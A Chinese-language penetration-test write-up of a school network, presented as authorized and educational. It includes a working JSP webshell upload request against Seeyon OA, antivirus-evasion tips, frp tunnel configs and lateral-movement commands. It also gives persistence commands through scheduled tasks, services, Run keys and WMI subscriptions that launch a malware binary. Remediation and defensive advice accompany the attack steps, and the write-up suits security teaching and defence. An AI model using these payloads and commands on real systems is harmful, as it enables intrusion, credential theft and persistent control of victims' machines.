某学校授权渗透测试评估
字数 2127 2025-08-18 11:36:53
某学校授权渗透测试评估技术分析与教学文档
渗透测试概述
本次渗透测试针对某学校系统进行授权安全评估,通过外网和内网多阶段渗透,成功获取了系统权限和敏感信息。测试过程展示了从外网突破到内网横向移动的完整攻击链。
外网渗透阶段
1. 协同管理平台文件上传漏洞利用
漏洞描述:
发现协同管理平台存在文件上传漏洞,攻击者可通过此漏洞上传恶意文件获取Web服务器权限。
利用方法:
- 通过常规文件上传功能或接口上传Webshell
- 使用Burp Suite等工具拦截上传请求,修改文件类型和内容
- 常见上传绕过技术:
- 修改Content-Type为合法类型(image/jpeg等)
- 双写后缀(.php.jpg)
- 大小写混淆(.PhP)
- 空字符截断(%00)
- .htaccess文件上传
修复建议:
- 严格校验文件类型和内容
- 限制上传目录执行权限
- 使用随机文件名并存储在非Web目录
- 实施文件内容检测
2. 致远OA ajax.do任意文件上传漏洞
漏洞描述:
致远OA系统的ajax.do接口存在任意文件上传漏洞(CVE-2017-10201),攻击者可上传jsp木马获取服务器权限。
利用步骤:
- 构造POST请求到
/seeyon/ajax.do - 上传包含恶意代码的jsp文件
- 访问上传的jsp文件执行命令
POC示例:
POST /seeyon/ajax.do?method=ajaxAction&managerName=formulaManager HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9Pgg3MUhNO2Q0NQz
------WebKitFormBoundary9Pgg3MUhNO2Q0NQz
Content-Disposition: form-data; name="field1"
test
------WebKitFormBoundary9Pgg3MUhNO2Q0NQz
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
<%@page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
------WebKitFormBoundary9Pgg3MUhNO2Q0NQz--
修复建议:
- 升级致远OA到最新版本
- 禁用不必要的ajax接口
- 实施严格的输入验证
3. 致远A8数据库密码解密
漏洞描述:
获取了致远A8系统的数据库配置文件,发现数据库密码使用弱加密方式存储,可被轻易解密。
解密方法:
- 定位数据库配置文件(通常为WEB-INF/classes/conf/database.properties)
- 提取加密后的密码字符串
- 使用致远OA专用解密工具或脚本解密
修复建议:
- 使用强加密算法存储密码
- 定期更换数据库密码
- 限制数据库远程访问
内网渗透阶段
1. 内网突破技术
攻击手段:
- 向日葵远控软件绕过360:利用向日葵远程控制软件的内置功能绕过杀毒软件检测
- gotohttp远程控制:使用轻量级远程控制工具gotohttp建立持久化控制
- frp内网穿透:配置frp服务实现内网端口映射到外网
- Proxifier代理:通过Proxifier配置全局代理,实现所有应用的流量转发
技术细节:
-
向日葵绕过:
- 使用向日葵的"隐私模式"或"游戏模式"
- 修改客户端特征码避免检测
- 利用白名单机制绕过杀软
-
gotohttp使用:
# 客户端连接命令 gotohttp -id [设备ID] -secret [密钥] -
frp配置:
# frps.ini (服务端) [common] bind_port = 7000 # frpc.ini (客户端) [common] server_addr = x.x.x.x server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 -
Proxifier配置:
- 创建代理服务器配置
- 设置代理规则将所有流量转发到指定端口
- 可配合Socks代理工具如EarthWorm使用
2. 内网扫描与漏洞利用
使用工具:
- fscan64:高效内网扫描工具,可检测弱口令、常见漏洞等
- CobaltStrike:高级渗透测试框架,用于横向移动和权限维持
扫描命令示例:
# fscan64基本扫描
fscan64 -h 192.168.12.1/24
# 指定扫描模块
fscan64 -h 192.168.12.1/24 -m ssh,smb,ms17010
# CobaltStrike团队服务器启动
./teamserver [IP] [密码]
常见内网攻击手法:
-
弱口令爆破:
- SMB/RDP/SSH/FTP等服务的弱口令
- 使用字典攻击或密码喷洒技术
-
Nday/1day漏洞利用:
- MS17-010 (永恒之蓝)
- CVE-2020-0796 (SMBGhost)
- CVE-2021-26855 (Exchange SSRF)
- 最新公开的漏洞利用
-
敏感信息收集:
- 共享文件夹扫描
- 配置文件泄露
- 浏览器密码提取
- 内存密码抓取
3. 横向移动技术
技术手段:
-
凭证传递攻击:
- Pass-the-Hash (PtH)
- Pass-the-Ticket (PtT)
- Overpass-the-Hash
-
远程命令执行:
# WMI执行 wmic /node:192.168.12.16 /user:admin /password:pass process call create "cmd.exe /c whoami" # PsExec psexec \\192.168.12.16 -u admin -p pass cmd.exe -
CobaltStrike横向移动:
- 使用已控主机作为跳板
- 派生会话到新目标
- 通过SSH或SMB横向扩展
4. 权限维持技术
持久化方法:
-
计划任务:
schtasks /create /tn "Update" /tr "C:\malware.exe" /sc minute /mo 30 /ru SYSTEM -
服务创建:
sc \\192.168.12.16 create "Backup" binpath= "C:\malware.exe" start= auto -
注册表自启动:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Updater" /t REG_SZ /d "C:\malware.exe" -
WMI事件订阅:
$filterArgs = @{name='Updater'; EventNameSpace='root\cimv2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"} $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs $consumerArgs = @{name='Updater'; CommandLineTemplate="C:\malware.exe"} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs $bindingArgs = @{Filter=$filter; Consumer=$consumer} $binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
渗透测试建议与防御措施
1. 外网防御建议
- 定期更新所有对外服务组件和框架
- 实施严格的输入验证和过滤
- 禁用不必要的服务和接口
- 配置WAF防护常见Web攻击
- 实施文件上传安全策略
2. 内网防御建议
-
网络分段:
- 按照业务功能划分VLAN
- 实施严格的ACL策略
- 关键系统隔离保护
-
终端防护:
- 部署EDR解决方案
- 限制管理员权限
- 禁用不必要的协议和服务
-
监控与响应:
- 部署SIEM系统集中分析日志
- 配置异常行为告警
- 建立应急响应流程
-
身份认证加固:
- 实施多因素认证
- 定期更换密码
- 禁用默认账户和弱密码
-
横向移动防护:
- 限制SMB/RDP/WMI等协议的访问
- 监控异常登录行为
- 实施最小权限原则
总结
本次渗透测试展示了从外网Web漏洞到内网全面沦陷的完整攻击路径,强调了网络安全防御需要多层次、全方位的防护措施。学校等教育机构信息系统往往存在重功能轻安全的问题,需要加强安全意识培训和技术防护能力建设。
渗透测试的关键在于:
- 外网寻找薄弱入口点
- 内网快速信息收集和定位关键系统
- 使用自动化工具提高效率
- 多种横向移动技术组合使用
- 建立持久化控制通道
防御方应从攻击者视角审视自身系统,定期进行安全评估和加固,才能有效防范此类攻击。